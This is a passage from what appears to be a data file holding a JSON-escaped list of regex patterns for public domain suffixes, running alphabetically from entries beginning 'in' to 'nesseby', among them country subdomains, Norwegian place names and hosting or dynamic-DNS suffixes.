sl\\\\.org\",\"in\\\\-the\\\\-band\\\\.net\",\"in\\\\-vpn\\\\.de\",\"in\\\\-vpn\\\\.net\",\"in\\\\-vpn\\\\.org\",\"in\\\\.net\",\"in\\\\.ni\",\"in\\\\.rs\",\"in\\\\.th\",\"in\\\\.ua\",\"in\\\\.us\",\"inc\\\\.hk\",\"incheon\\\\.kr\",\"ind\\\\.br\",\"ind\\\\.gt\",\"ind\\\\.in\",\"ind\\\\.kw\",\"ind\\\\.tn\",\"independent\\\\-commission\\\\.uk\",\"independent\\\\-inquest\\\\.uk\",\"independent\\\\-inquiry\\\\.uk\",\"independent\\\\-panel\\\\.uk\",\"independent\\\\-review\\\\.uk\",\"inderoy\\\\.no\",\"inder\\u00f8y\\\\.no\",\"indevs\\\\.in\",\"indigena\\\\.bo\",\"industria\\\\.bo\",\"inf\\\\.br\",\"inf\\\\.cu\",\"inf\\\\.mk\",\"inf\\\\.ua\",\"info\\\\.az\",\"info\\\\.bb\",\"info\\\\.bd\",\"info\\\\.bj\",\"info\\\\.bo\",\"info\\\\.cx\",\"info\\\\.ec\",\"info\\\\.eg\",\"info\\\\.et\",\"info\\\\.fj\",\"info\\\\.gu\",\"info\\\\.ht\",\"info\\\\.hu\",\"info\\\\.in\",\"info\\\\.ke\",\"info\\\\.ki\",\"info\\\\.la\",\"info\\\\.ls\",\"info\\\\.ml\",\"info\\\\.mv\",\"info\\\\.nf\",\"info\\\\.ni\",\"info\\\\.nr\",\"info\\\\.pl\",\"info\\\\.pr\",\"info\\\\.ro\",\"info\\\\.sd\",\"info\\\\.tn\",\"info\\\\.tr\",\"info\\\\.tt\",\"info\\\\.tz\",\"info\\\\.ve\",\"info\\\\.vn\",\"info\\\\.zm\",\"ing\\\\.pa\",\"ingatlan\\\\.hu\",\"inst\\\\.ml\",\"insurance\\\\.aero\",\"int\\\\.apple\",\"int\\\\.ar\",\"int\\\\.az\",\"int\\\\.bo\",\"int\\\\.ci\",\"int\\\\.cv\",\"int\\\\.in\",\"int\\\\.la\",\"int\\\\.lk\",\"int\\\\.mv\",\"int\\\\.mw\",\"int\\\\.ni\",\"int\\\\.pt\",\"int\\\\.ru\",\"int\\\\.tj\",\"int\\\\.ve\",\"int\\\\.vn\",\"internet\\\\-dns\\\\.de\",\"internet\\\\.in\",\"intl\\\\.tn\",\"intouch\\\\.email\",\"io\\\\.in\",\"io\\\\.kr\",\"io\\\\.vn\",\"iobb\\\\.net\",\"iopsys\\\\.se\",\"ip6\\\\.arpa\",\"ip\\\\-ddns\\\\.com\",\"ip\\\\-dynamic\\\\.org\",\"ipifony\\\\.net\",\"ipv64\\\\.de\",\"ipv64\\\\.net\",\"ir\\\\.md\",\"iris\\\\.arpa\",\"is\\\\-a\\\\-anarchist\\\\.com\",\"is\\\\-a\\\\-blogger\\\\.com\",\"is\\\\-a\\\\-bookkeeper\\\\.com\",\"is\\\\-a\\\\-bruinsfan\\\\.org\",\"is\\\\-a\\\\-bulls\\\\-fan\\\\.com\",\"is\\\\-a\\\\-candidate\\\\.org\",\"is\\\\-a\\\\-caterer\\\\.com\",\"is\\\\-a\\\\-celticsfan\\\\.org\",\"is\\\\-a\\\\-chef\\\\.com\",\"is\\\\-a\\\\-chef\\\\.net\",\"is\\\\-a\\\\-chef\\\\.org\",\"is\\\\-a\\\\-conservative\\\\.com\",\"is\\\\-a\\\\-cpa\\\\.com\",\"is\\\\-a\\\\-cubicle\\\\-slave\\\\.com\",\"is\\\\-a\\\\-democrat\\\\.com\",\"is\\\\-a\\\\-designer\\\\.com\",\"is\\\\-a\\\\-doctor\\\\.com\",\"is\\\\-a\\\\-financialadvisor\\\\.com\",\"is\\\\-a\\\\-fullstack\\\\.dev\",\"is\\\\-a\\\\-geek\\\\.com\",\"is\\\\-a\\\\-geek\\\\.net\",\"is\\\\-a\\\\-geek\\\\.org\",\"is\\\\-a\\\\-good\\\\.dev\",\"is\\\\-a\\\\-green\\\\.com\",\"is\\\\-a\\\\-guru\\\\.com\",\"is\\\\-a\\\\-hard\\\\-worker\\\\.com\",\"is\\\\-a\\\\-hunter\\\\.com\",\"is\\\\-a\\\\-knight\\\\.org\",\"is\\\\-a\\\\-landscaper\\\\.com\",\"is\\\\-a\\\\-lawyer\\\\.com\",\"is\\\\-a\\\\-liberal\\\\.com\",\"is\\\\-a\\\\-libertarian\\\\.com\",\"is\\\\-a\\\\-linux\\\\-user\\\\.org\",\"is\\\\-a\\\\-llama\\\\.com\",\"is\\\\-a\\\\-musician\\\\.com\",\"is\\\\-a\\\\-nascarfan\\\\.com\",\"is\\\\-a\\\\-nurse\\\\.com\",\"is\\\\-a\\\\-painter\\\\.com\",\"is\\\\-a\\\\-patsfan\\\\.org\",\"is\\\\-a\\\\-personaltrainer\\\\.com\",\"is\\\\-a\\\\-photographer\\\\.com\",\"is\\\\-a\\\\-player\\\\.com\",\"is\\\\-a\\\\-republican\\\\.com\",\"is\\\\-a\\\\-rockstar\\\\.com\",\"is\\\\-a\\\\-socialist\\\\.com\",\"is\\\\-a\\\\-soxfan\\\\.org\",\"is\\\\-a\\\\-student\\\\.com\",\"is\\\\-a\\\\-teacher\\\\.com\",\"is\\\\-a\\\\-techie\\\\.com\",\"is\\\\-a\\\\-therapist\\\\.com\",\"is\\\\-a\\\\.dev\",\"is\\\\-an\\\\-accountant\\\\.com\",\"is\\\\-an\\\\-actor\\\\.com\",\"is\\\\-an\\\\-actress\\\\.com\",\"is\\\\-an\\\\-anarchist\\\\.com\",\"is\\\\-an\\\\-artist\\\\.com\",\"is\\\\-an\\\\-engineer\\\\.com\",\"is\\\\-an\\\\-entertainer\\\\.com\",\"is\\\\-by\\\\.us\",\"is\\\\-certified\\\\.com\",\"is\\\\-cool\\\\.dev\",\"is\\\\-found\\\\.org\",\"is\\\\-gone\\\\.com\",\"is\\\\-into\\\\-anime\\\\.com\",\"is\\\\-into\\\\-cars\\\\.com\",\"is\\\\-into\\\\-cartoons\\\\.com\",\"is\\\\-into\\\\-games\\\\.com\",\"is\\\\-leet\\\\.com\",\"is\\\\-local\\\\.org\",\"is\\\\-lost\\\\.org\",\"is\\\\-not\\\\-a\\\\.dev\",\"is\\\\-not\\\\-certified\\\\.com\",\"is\\\\-saved\\\\.org\",\"is\\\\-slick\\\\.com\",\"is\\\\-uberleet\\\\.com\",\"is\\\\-very\\\\-bad\\\\.org\",\"is\\\\-very\\\\-evil\\\\.org\",\"is\\\\-very\\\\-good\\\\.org\",\"is\\\\-very\\\\-nice\\\\.org\",\"is\\\\-very\\\\-sweet\\\\.org\",\"is\\\\-with\\\\-theband\\\\.com\",\"is\\\\.it\",\"isa\\\\-geek\\\\.com\",\"isa\\\\-geek\\\\.net\",\"isa\\\\-geek\\\\.org\",\"isa\\\\-hockeynut\\\\.com\",\"isa\\\\.us\",\"isernia\\\\.it\",\"iserv\\\\.dev\",\"iserv\\\\.host\",\"iservschule\\\\.de\",\"ishikawa\\\\.jp\",\"isla\\\\.pr\",\"ispmanager\\\\.name\",\"issmarterthanyou\\\\.com\",\"isteingeek\\\\.de\",\"istmein\\\\.de\",\"it\\\\.ao\",\"it\\\\.bd\",\"it\\\\.com\",\"it\\\\.kr\",\"itcouldbewor\\\\.se\",\"itigo\\\\.jp\",\"its\\\\.me\",\"ivano\\\\-frankivsk\\\\.ua\",\"ivanovo\\\\.su\",\"iveland\\\\.no\",\"ivgu\\\\.no\",\"iwate\\\\.jp\",\"iwi\\\\.nz\",\"iz\\\\.hr\",\"j\\\\.bg\",\"jab\\\\.br\",\"jambyl\\\\.su\",\"jampa\\\\.br\",\"jan\\\\-mayen\\\\.no\",\"jaworzno\\\\.pl\",\"jcloud\\\\.kz\",\"jdevcloud\\\\.com\",\"jdf\\\\.br\",\"jeez\\\\.jp\",\"jeju\\\\.kr\",\"jelastic\\\\.team\",\"jele\\\\.cloud\",\"jele\\\\.club\",\"jele\\\\.host\",\"jele\\\\.io\",\"jele\\\\.site\",\"jelenia\\\\-gora\\\\.pl\",\"jellybean\\\\.jp\",\"jeonbuk\\\\.kr\",\"jeonnam\\\\.kr\",\"jessheim\\\\.no\",\"jevnaker\\\\.no\",\"jgora\\\\.pl\",\"jl\\\\.cn\",\"jogasz\\\\.hu\",\"joinmc\\\\.link\",\"joinville\\\\.br\",\"jolster\\\\.no\",\"jondal\\\\.no\",\"jor\\\\.br\",\"jorpeland\\\\.no\",\"jote\\\\.cloud\",\"jotelulu\\\\.cloud\",\"journal\\\\.aero\",\"journalist\\\\.aero\",\"jouwweb\\\\.site\",\"jozi\\\\.biz\",\"jp\\\\.net\",\"jpn\\\\.com\",\"jpn\\\\.org\",\"js\\\\.cn\",\"js\\\\.org\",\"ju\\\\.mp\",\"jur\\\\.pro\",\"jus\\\\.br\",\"jx\\\\.cn\",\"j\\u00f8lster\\\\.no\",\"j\\u00f8rpeland\\\\.no\",\"k12\\\\.ec\",\"k12\\\\.il\",\"k12\\\\.tr\",\"k12\\\\.vi\",\"k\\\\.bg\",\"k\\\\.se\",\"kaas\\\\.gg\",\"kafjord\\\\.no\",\"kagawa\\\\.jp\",\"kagoshima\\\\.jp\",\"kalisz\\\\.pl\",\"kalmykia\\\\.ru\",\"kalmykia\\\\.su\",\"kaluga\\\\.su\",\"kanagawa\\\\.jp\",\"kapsi\\\\.fi\",\"karacol\\\\.su\",\"karaganda\\\\.su\",\"karasjohka\\\\.no\",\"karasjok\\\\.no\",\"karelia\\\\.su\",\"karlsoy\\\\.no\",\"karls\\u00f8y\\\\.no\",\"karmoy\\\\.no\",\"karm\\u00f8y\\\\.no\",\"karpacz\\\\.pl\",\"kartuzy\\\\.pl\",\"kasserver\\\\.com\",\"kaszuby\\\\.pl\",\"katowice\\\\.pl\",\"kautokeino\\\\.no\",\"kawaiishop\\\\.jp\",\"kazimierz\\\\-dolny\\\\.pl\",\"kdns\\\\.fr\",\"keenetic\\\\.io\",\"keenetic\\\\.link\",\"keenetic\\\\.name\",\"keenetic\\\\.pro\",\"keliweb\\\\.cloud\",\"kep\\\\.tr\",\"kepno\\\\.pl\",\"ketrzyn\\\\.pl\",\"keymachine\\\\.de\",\"keyword\\\\-on\\\\.net\",\"kg\\\\.kr\",\"kh\\\\.ua\",\"khakassia\\\\.su\",\"khanhhoa\\\\.vn\",\"kharkiv\\\\.ua\",\"kharkov\\\\.ua\",\"kherson\\\\.ua\",\"khmelnitskiy\\\\.ua\",\"khmelnytskyi\\\\.ua\",\"khplay\\\\.nl\",\"khsj\\\\.cn\",\"kicks\\\\-ass\\\\.net\",\"kicks\\\\-ass\\\\.org\",\"kiengiang\\\\.vn\",\"kiev\\\\.ua\",\"kikirara\\\\.jp\",\"kill\\\\.jp\",\"kilo\\\\.jp\",\"kiloapps\\\\.ai\",\"kiloapps\\\\.io\",\"kinghost\\\\.net\",\"kirara\\\\.st\",\"kirkenes\\\\.no\",\"kirovograd\\\\.ua\",\"kiwi\\\\.nz\",\"klabu\\\\.no\",\"klepp\\\\.no\",\"klodzko\\\\.pl\",\"kl\\u00e6bu\\\\.no\",\"km\\\\.ua\",\"knightpoint\\\\.systems\",\"knowsitall\\\\.info\",\"knx\\\\-server\\\\.net\",\"kobierzyce\\\\.pl\",\"kochi\\\\.jp\",\"kolobrzeg\\\\.pl\",\"komforb\\\\.se\",\"kommunalforbund\\\\.se\",\"kommune\\\\.no\",\"komvux\\\\.se\",\"kongsberg\\\\.no\",\"kongsvinger\\\\.no\",\"konin\\\\.pl\",\"konskowola\\\\.pl\",\"kontum\\\\.vn\",\"konyvelo\\\\.hu\",\"koobin\\\\.events\",\"kop\\\\.id\",\"kopervik\\\\.no\",\"kozow\\\\.com\",\"kr\\\\.it\",\"kr\\\\.ua\",\"kraanghke\\\\.no\",\"kragero\\\\.no\",\"krager\\u00f8\\\\.no\",\"krakow\\\\.pl\",\"krasnik\\\\.pl\",\"krasnodar\\\\.su\",\"krellian\\\\.net\",\"kristiansand\\\\.no\",\"kristiansund\\\\.no\",\"krodsherad\\\\.no\",\"krokstadelva\\\\.no\",\"kropyvnytskyi\\\\.ua\",\"krym\\\\.ua\",\"kr\\u00e5anghke\\\\.no\",\"kr\\u00f8dsherad\\\\.no\",\"ks\\\\.ua\",\"ks\\\\.us\",\"kuleuven\\\\.cloud\",\"kumamoto\\\\.jp\",\"kurgan\\\\.su\",\"kuron\\\\.jp\",\"kustanai\\\\.ru\",\"kustanai\\\\.su\",\"kutno\\\\.pl\",\"kv\\\\.ua\",\"kvafjord\\\\.no\",\"kvalsund\\\\.no\",\"kvam\\\\.no\",\"kvanangen\\\\.no\",\"kvinesdal\\\\.no\",\"kvinnherad\\\\.no\",\"kviteseid\\\\.no\",\"kvitsoy\\\\.no\",\"kvits\\u00f8y\\\\.no\",\"kv\\u00e6fjord\\\\.no\",\"kv\\u00e6nangen\\\\.no\",\"ky\\\\.us\",\"kyiv\\\\.ua\",\"kyoto\\\\.jp\",\"k\\u00e1r\\u00e1\\u0161johka\\\\.no\",\"k\\u00e5fjord\\\\.no\",\"l\\\\-o\\\\-g\\\\-i\\\\-n\\\\.de\",\"l\\\\.bg\",\"l\\\\.se\",\"la1\\\\-plenit\\\\.com\",\"la\\\\-spezia\\\\.it\",\"la\\\\.us\",\"laakesvuemie\\\\.no\",\"ladesk\\\\.com\",\"lahppi\\\\.no\",\"laichau\\\\.vn\",\"lakas\\\\.hu\",\"lamdong\\\\.vn\",\"lanbib\\\\.se\",\"land\\\\-4\\\\-sale\\\\.us\",\"langevag\\\\.no\",\"langev\\u00e5g\\\\.no\",\"langson\\\\.vn\",\"laocai\\\\.vn\",\"lapy\\\\.pl\",\"laquila\\\\.it\",\"laravel\\\\.cloud\",\"lardal\\\\.no\",\"larvik\\\\.no\",\"laspezia\\\\.it\",\"lat\\\\.ec\",\"latina\\\\.it\",\"lavagis\\\\.no\",\"lavangen\\\\.no\",\"law\\\\.pro\",\"law\\\\.za\",\"laz\\\\.it\",\"lazio\\\\.it\",\"lc\\\\.it\",\"lcube\\\\-server\\\\.de\",\"le\\\\.it\",\"leadpages\\\\.co\",\"leangaviika\\\\.no\",\"leapcell\\\\.app\",\"leapcell\\\\.dev\",\"leapcell\\\\.online\",\"leasing\\\\.aero\",\"lea\\u014bgaviika\\\\.no\",\"lebesby\\\\.no\",\"lebork\\\\.pl\",\"lebtimnetz\\\\.de\",\"lecce\\\\.it\",\"lecco\\\\.it\",\"leczna\\\\.pl\",\"leg\\\\.br\",\"legnica\\\\.pl\",\"leikanger\\\\.no\",\"leilao\\\\.br\",\"leirfjord\\\\.no\",\"leirvik\\\\.no\",\"leitungsen\\\\.de\",\"leka\\\\.no\",\"leksvik\\\\.no\",\"lel\\\\.br\",\"lenug\\\\.su\",\"lenvik\\\\.no\",\"lerdal\\\\.no\",\"lesja\\\\.no\",\"levanger\\\\.no\",\"lezajsk\\\\.pl\",\"lg\\\\.jp\",\"lg\\\\.ua\",\"li\\\\.it\",\"liara\\\\.run\",\"lib\\\\.ee\",\"libp2p\\\\.direct\",\"lier\\\\.no\",\"lierne\\\\.no\",\"lig\\\\.it\",\"liguria\\\\.it\",\"likes\\\\-pie\\\\.com\",\"likescandy\\\\.com\",\"lillehammer\\\\.no\",\"lillesand\\\\.no\",\"lima\\\\-city\\\\.at\",\"lima\\\\-city\\\\.ch\",\"lima\\\\-city\\\\.de\",\"lima\\\\-city\\\\.rocks\",\"lima\\\\.zone\",\"limanowa\\\\.pl\",\"lindas\\\\.no\",\"lindesnes\\\\.no\",\"lind\\u00e5s\\\\.no\",\"linkyard\\\\-cloud\\\\.ch\",\"linkyard\\\\.cloud\",\"littlestar\\\\.jp\",\"live\\\\-on\\\\.net\",\"live\\\\-website\\\\.com\",\"livorno\\\\.it\",\"llc\\\\.ge\",\"ln\\\\.cn\",\"lo\\\\.it\",\"loabat\\\\.no\",\"loab\\u00e1t\\\\.no\",\"localcert\\\\.net\",\"localplayer\\\\.dev\",\"localtonet\\\\.com\",\"lodi\\\\.it\",\"lodingen\\\\.no\",\"lodz\\\\.pl\",\"log\\\\.br\",\"loginline\\\\.app\",\"loginline\\\\.dev\",\"loginline\\\\.io\",\"loginline\\\\.services\",\"loginline\\\\.site\",\"loginto\\\\.me\",\"logistics\\\\.aero\",\"logoip\\\\.com\",\"logoip\\\\.de\",\"lohmus\\\\.me\",\"loisirs\\\\.bj\",\"loj\\\\.ec\",\"lolipop\\\\.io\",\"lolipopmc\\\\.jp\",\"lolitapunk\\\\.jp\",\"lom\\\\.it\",\"lom\\\\.no\",\"lombardia\\\\.it\",\"lombardy\\\\.it\",\"lomo\\\\.jp\",\"lomza\\\\.pl\",\"londrina\\\\.br\",\"longan\\\\.vn\",\"loppa\\\\.no\",\"lorenskog\\\\.no\",\"loseyourip\\\\.com\",\"loten\\\\.no\",\"lovable\\\\.app\",\"lovable\\\\.run\",\"lovable\\\\.sh\",\"lovableproject\\\\.com\",\"lovepop\\\\.jp\",\"lovesick\\\\.jp\",\"lowicz\\\\.pl\",\"lp\\\\.dev\",\"lpages\\\\.co\",\"lpusercontent\\\\.com\",\"lt\\\\.it\",\"lt\\\\.ua\",\"ltd\\\\.cy\",\"ltd\\\\.gi\",\"ltd\\\\.hk\",\"ltd\\\\.lk\",\"ltd\\\\.ng\",\"ltd\\\\.ua\",\"ltd\\\\.uk\",\"lu\\\\.it\",\"lubartow\\\\.pl\",\"lubin\\\\.pl\",\"lublin\\\\.pl\",\"lucania\\\\.it\",\"lucca\\\\.it\",\"lugansk\\\\.ua\",\"luhansk\\\\.ua\",\"lukow\\\\.pl\",\"lund\\\\.no\",\"lunner\\\\.no\",\"luroy\\\\.no\",\"lur\\u00f8y\\\\.no\",\"luster\\\\.no\",\"lutsk\\\\.ua\",\"luyani\\\\.app\",\"luyani\\\\.net\",\"lv\\\\.ua\",\"lviv\\\\.ua\",\"lyngdal\\\\.no\",\"lyngen\\\\.no\",\"l\\u00e1hppi\\\\.no\",\"l\\u00e6rdal\\\\.no\",\"l\\u00f8dingen\\\\.no\",\"l\\u00f8renskog\\\\.no\",\"l\\u00f8ten\\\\.no\",\"m\\\\.bg\",\"m\\\\.se\",\"ma\\\\.us\",\"macapa\\\\.br\",\"maceio\\\\.br\",\"macerata\\\\.it\",\"madethis\\\\.site\",\"mafelo\\\\.net\",\"magazine\\\\.aero\",\"magicpatterns\\\\.app\",\"magicpatternsapp\\\\.com\",\"mail\\\\.pl\",\"main\\\\.jp\",\"maintenance\\\\.aero\",\"malatvuopmi\\\\.no\",\"malbork\\\\.pl\",\"malopolska\\\\.pl\",\"malselv\\\\.no\",\"malvik\\\\.no\",\"manaus\\\\.br\",\"mandal\\\\.no\",\"mangyshlak\\\\.su\",\"mantova\\\\.it\",\"maori\\\\.nz\",\"mar\\\\.it\",\"marche\\\\.it\",\"marine\\\\.ru\",\"maringa\\\\.br\",\"marker\\\\.no\",\"marketplace\\\\.aero\",\"marnardal\\\\.no\",\"masfjorden\\\\.no\",\"masoy\\\\.no\",\"massa\\\\-carrara\\\\.it\",\"massacarrara\\\\.it\",\"mat\\\\.br\",\"matera\\\\.it\",\"matlab\\\\.cloud\",\"matrix\\\\.jp\",\"matta\\\\-varjjat\\\\.no\",\"mayfirst\\\\.info\",\"mazowsze\\\\.pl\",\"mazury\\\\.pl\",\"mb\\\\.ca\",\"mb\\\\.it\",\"mc\\\\.it\",\"mcdir\\\\.me\",\"mcdir\\\\.ru\",\"mcpre\\\\.ru\",\"md\\\\.us\",\"me\\\\.eg\",\"me\\\\.in\",\"me\\\\.it\",\"me\\\\.ke\",\"me\\\\.kr\",\"me\\\\.scot\",\"me\\\\.so\",\"me\\\\.ss\",\"me\\\\.tz\",\"me\\\\.uk\",\"me\\\\.us\",\"med\\\\.br\",\"med\\\\.ec\",\"med\\\\.ee\",\"med\\\\.ht\",\"med\\\\.ly\",\"med\\\\.om\",\"med\\\\.pa\",\"med\\\\.pl\",\"med\\\\.pro\",\"med\\\\.sa\",\"med\\\\.sd\",\"medecin\\\\.fr\",\"medecin\\\\.km\",\"media\\\\.aero\",\"media\\\\.hu\",\"media\\\\.pl\",\"mediatech\\\\.by\",\"mediatech\\\\.dev\",\"medicina\\\\.bo\",\"medio\\\\-campidano\\\\.it\",\"mediocampidano\\\\.it\",\"medusajs\\\\.app\",\"mein\\\\-iserv\\\\.de\",\"meinforum\\\\.net\",\"meland\\\\.no\",\"meldal\\\\.no\",\"melhus\\\\.no\",\"meloy\\\\.no\",\"mel\\u00f8y\\\\.no\",\"memset\\\\.net\",\"meraker\\\\.no\",\"merseine\\\\.nu\",\"mer\\u00e5ker\\\\.no\",\"messerli\\\\.app\",\"messina\\\\.it\",\"messwithdns\\\\.com\",\"meteorapp\\\\.com\",\"mex\\\\.com\",\"mi\\\\.it\",\"mi\\\\.th\",\"mi\\\\.us\",\"miasta\\\\.pl\",\"microlight\\\\.aero\",\"midsund\\\\.no\",\"midtre\\\\-gauldal\\\\.no\",\"mie\\\\.jp\",\"mielec\\\\.pl\",\"mielno\\\\.pl\",\"mil\\\\.ac\",\"mil\\\\.ae\",\"mil\\\\.al\",\"mil\\\\.ar\",\"mil\\\\.az\",\"mil\\\\.ba\",\"mil\\\\.bd\",\"mil\\\\.bo\",\"mil\\\\.br\",\"mil\\\\.by\",\"mil\\\\.cl\",\"mil\\\\.cn\",\"mil\\\\.co\",\"mil\\\\.cy\",\"mil\\\\.do\",\"mil\\\\.ec\",\"mil\\\\.eg\",\"mil\\\\.fj\",\"mil\\\\.gh\",\"mil\\\\.gt\",\"mil\\\\.hn\",\"mil\\\\.id\",\"mil\\\\.in\",\"mil\\\\.io\",\"mil\\\\.iq\",\"mil\\\\.jo\",\"mil\\\\.kg\",\"mil\\\\.km\",\"mil\\\\.kr\",\"mil\\\\.kz\",\"mil\\\\.lv\",\"mil\\\\.mg\",\"mil\\\\.mv\",\"mil\\\\.my\",\"mil\\\\.mz\",\"mil\\\\.ng\",\"mil\\\\.ni\",\"mil\\\\.no\",\"mil\\\\.nz\",\"mil\\\\.pe\",\"mil\\\\.ph\",\"mil\\\\.pl\",\"mil\\\\.py\",\"mil\\\\.qa\",\"mil\\\\.ru\",\"mil\\\\.rw\",\"mil\\\\.sh\",\"mil\\\\.st\",\"mil\\\\.sy\",\"mil\\\\.tj\",\"mil\\\\.tm\",\"mil\\\\.to\",\"mil\\\\.tr\",\"mil\\\\.tt\",\"mil\\\\.tw\",\"mil\\\\.tz\",\"mil\\\\.ug\",\"mil\\\\.uy\",\"mil\\\\.vc\",\"mil\\\\.ve\",\"mil\\\\.ye\",\"mil\\\\.za\",\"mil\\\\.zm\",\"mil\\\\.zw\",\"milan\\\\.it\",\"milano\\\\.it\",\"mimoza\\\\.jp\",\"mincom\\\\.tn\",\"mine\\\\.nu\",\"miniserver\\\\.com\",\"minisite\\\\.ms\",\"mircloud\\\\.host\",\"mircloud\\\\.ru\",\"mircloud\\\\.us\",\"miren\\\\.app\",\"miren\\\\.systems\",\"misconfused\\\\.org\",\"mittwald\\\\.info\",\"mittwaldserver\\\\.info\",\"miyagi\\\\.jp\",\"miyazaki\\\\.jp\",\"mjondalen\\\\.no\",\"mj\\u00f8ndalen\\\\.no\",\"mk\\\\.ua\",\"mkm\\\\.fan\",\"mktg\\\\.ec\",\"mlbfan\\\\.org\",\"mmafan\\\\.biz\",\"mmv\\\\.kr\",\"mn\\\\.it\",\"mn\\\\.us\",\"mo\\\\-i\\\\-rana\\\\.no\",\"mo\\\\-siemens\\\\.io\",\"mo\\\\.cn\",\"mo\\\\.it\",\"mo\\\\.us\",\"moareke\\\\.no\",\"mobi\\\\.gp\",\"mobi\\\\.ke\",\"mobi\\\\.ng\",\"mobi\\\\.tz\",\"mocha\\\\-sandbox\\\\.dev\",\"mocha\\\\.app\",\"mochausercontent\\\\.com\",\"mod\\\\.gi\",\"modalen\\\\.no\",\"modelling\\\\.aero\",\"modelscape\\\\.com\",\"modena\\\\.it\",\"mods\\\\.jp\",\"modum\\\\.no\",\"modx\\\\.dev\",\"mol\\\\.it\",\"molde\\\\.no\",\"molise\\\\.it\",\"mon\\\\.ec\",\"mond\\\\.jp\",\"money\\\\.bj\",\"mongolian\\\\.jp\",\"monza\\\\-brianza\\\\.it\",\"monza\\\\-e\\\\-della\\\\-brianza\\\\.it\",\"monza\\\\.it\",\"monzabrianza\\\\.it\",\"monzaebrianza\\\\.it\",\"monzaedellabrianza\\\\.it\",\"moo\\\\.jp\",\"moonscale\\\\.net\",\"mordovia\\\\.ru\",\"mordovia\\\\.su\",\"morena\\\\.br\",\"mosjoen\\\\.no\",\"mosj\\u00f8en\\\\.no\",\"moskenes\\\\.no\",\"moss\\\\.no\",\"movimiento\\\\.bo\",\"mo\\u00e5reke\\\\.no\",\"mp\\\\.br\",\"mr\\\\.no\",\"mragowo\\\\.pl\",\"ms\\\\.fun\",\"ms\\\\.it\",\"ms\\\\.kr\",\"ms\\\\.show\",\"ms\\\\.us\",\"msk\\\\.ru\",\"msk\\\\.su\",\"mt\\\\.it\",\"mt\\\\.us\",\"muni\\\\.il\",\"muosat\\\\.no\",\"muos\\u00e1t\\\\.no\",\"murmansk\\\\.su\",\"mus\\\\.br\",\"museum\\\\.mv\",\"museum\\\\.no\",\"museum\\\\.om\",\"musica\\\\.ar\",\"musica\\\\.bo\",\"musician\\\\.io\",\"mutual\\\\.ar\",\"mwcloudnonprod\\\\.com\",\"my\\\\-firewall\\\\.org\",\"my\\\\-gateway\\\\.de\",\"my\\\\-router\\\\.de\",\"my\\\\.at\",\"my\\\\.be\",\"my\\\\.de\",\"my\\\\.id\",\"myactivedirectory\\\\.com\",\"myaddr\\\\.dev\",\"myaddr\\\\.io\",\"myaddr\\\\.tools\",\"myamaze\\\\.net\",\"myasustor\\\\.com\",\"mybox\\\\.company\",\"mybox\\\\.me\",\"mybox\\\\.page\",\"mycloudnas\\\\.com\",\"mydatto\\\\.com\",\"mydatto\\\\.net\",\"mydbserver\\\\.com\",\"myddns\\\\.rocks\",\"mydissent\\\\.net\",\"mydns\\\\.bz\",\"mydns\\\\.jp\",\"mydns\\\\.tw\",\"mydns\\\\.vc\",\"mydobiss\\\\.com\",\"myds\\\\.me\",\"myeffect\\\\.net\",\"myfast\\\\.host\",\"myfast\\\\.space\",\"myfirewall\\\\.org\",\"myforum\\\\.community\",\"myfritz\\\\.link\",\"myfritz\\\\.net\",\"myftp\\\\.biz\",\"myftp\\\\.org\",\"mygov\\\\.scot\",\"myhome\\\\-server\\\\.de\",\"myiphost\\\\.com\",\"myjino\\\\.ru\",\"mykolaiv\\\\.ua\",\"mymediapc\\\\.net\",\"mynascloud\\\\.com\",\"mypep\\\\.link\",\"mypets\\\\.ws\",\"myphotos\\\\.cc\",\"mypi\\\\.co\",\"mypsx\\\\.net\",\"myqnapcloud\\\\.cn\",\"myqnapcloud\\\\.com\",\"myradweb\\\\.net\",\"myrdbx\\\\.io\",\"mysecuritycamera\\\\.com\",\"mysecuritycamera\\\\.net\",\"mysecuritycamera\\\\.org\",\"myshopblocks\\\\.com\",\"myshopify\\\\.com\",\"myspreadshop\\\\.at\",\"myspreadshop\\\\.be\",\"myspreadshop\\\\.ca\",\"myspreadshop\\\\.ch\",\"myspreadshop\\\\.com\",\"myspreadshop\\\\.de\",\"myspreadshop\\\\.dk\",\"myspreadshop\\\\.es\",\"myspreadshop\\\\.fi\",\"myspreadshop\\\\.fr\",\"myspreadshop\\\\.ie\",\"myspreadshop\\\\.it\",\"myspreadshop\\\\.net\",\"myspreadshop\\\\.nl\",\"myspreadshop\\\\.no\",\"myspreadshop\\\\.pl\",\"myspreadshop\\\\.se\",\"mysynology\\\\.net\",\"mytabit\\\\.com\",\"mytis\\\\.ru\",\"mytuleap\\\\.com\",\"myvnc\\\\.com\",\"mywire\\\\.org\",\"m\\u00e1latvuopmi\\\\.no\",\"m\\u00e1tta\\\\-v\\u00e1rjjat\\\\.no\",\"m\\u00e5lselv\\\\.no\",\"m\\u00e5s\\u00f8y\\\\.no\",\"m\\u0101ori\\\\.nz\",\"n\\\\.bg\",\"n\\\\.se\",\"na4u\\\\.ru\",\"na\\\\.it\",\"naamesjevuemie\\\\.no\",\"nagano\\\\.jp\",\"nagasaki\\\\.jp\",\"naklo\\\\.pl\",\"nalchik\\\\.ru\",\"nalchik\\\\.su\",\"namaste\\\\.jp\",\"namdalseid\\\\.no\",\"namdinh\\\\.vn\",\"name\\\\.az\",\"name\\\\.eg\",\"name\\\\.et\",\"name\\\\.fj\",\"name\\\\.hr\",\"name\\\\.mk\",\"name\\\\.mv\",\"name\\\\.my\",\"name\\\\.ng\",\"name\\\\.pm\",\"name\\\\.pr\",\"name\\\\.qa\",\"name\\\\.tj\",\"name\\\\.tr\",\"name\\\\.tt\",\"name\\\\.vn\",\"namsos\\\\.no\",\"namsskogan\\\\.no\",\"nannestad\\\\.no\",\"naples\\\\.it\",\"napoli\\\\.it\",\"nara\\\\.jp\",\"naroy\\\\.no\",\"narviika\\\\.no\",\"narvik\\\\.no\",\"nat\\\\.cu\",\"nat\\\\.tn\",\"natal\\\\.br\",\"natural\\\\.bo\",\"naturbruksgymn\\\\.se\",\"naustdal\\\\.no\",\"navigation\\\\.aero\",\"navoi\\\\.su\",\"navuotna\\\\.no\",\"nb\\\\.ca\",\"nc\\\\.tr\",\"nc\\\\.us\",\"nd\\\\.us\",\"ne\\\\.jp\",\"ne\\\\.ke\",\"ne\\\\.kr\",\"ne\\\\.tz\",\"ne\\\\.ug\",\"ne\\\\.us\",\"neat\\\\-url\\\\.com\",\"nedre\\\\-eiker\\\\.no\",\"needle\\\\.run\",\"nerdpol\\\\.ovh\",\"nesna\\\\.no\",\"nesodden\\\\.no\",\"nesoddtangen\\\\.no\",\"nesseby\\\\